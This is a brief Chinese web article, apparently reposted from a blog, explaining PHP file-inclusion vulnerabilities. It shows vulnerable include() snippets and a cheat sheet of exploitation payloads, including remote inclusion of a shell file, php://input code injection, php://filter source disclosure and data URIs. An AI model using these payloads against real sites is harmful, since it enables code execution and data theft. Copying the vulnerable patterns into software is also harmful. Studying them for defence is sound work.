文章簡單的分析了在php文件包含時inlcude的一個漏洞分析,下面希望對大家有點用處哦。
基本的文件包含漏洞:
代碼如下 復制代碼 <?php include(“includes/” . $_GET['file']); ?>受限的本地文件包含:
代碼如下 復制代碼 <?php include(“includes/” . $_GET['file'] . “.htm”); ?>基本的遠程文件包含:
代碼如下 復制代碼
<?php include($_GET['file']); ?>
* 包含遠程代碼(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
(需要 allow_url_fopen=On 和 allow_url_include=On)
* 使用php輸入流(Using PHP stream php://input):
?file=php://input
(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
* 使用PHP過濾函數(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
(lets you read PHP source because it wont get evaluated in base64. More details here and here)
* Using data URIs:
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
* 用於跨站腳本攻擊(Using XSS):
代碼如下 復制代碼 ?file=http://127.0.0.1/path/xss.php?xss=phpcode受限的遠程文件包含漏洞
代碼如下 復制代碼 <?php include($_GET['file'] . “.htm”); ?>靜態遠程文件包含漏洞:
代碼如下 復制代碼<?php include(“http://192.168.1.10/config.php”); ?>
* 中間人攻擊(Man In The Middle)
(lame indeed, but often forgotten)
來自Reiners’ Weblog。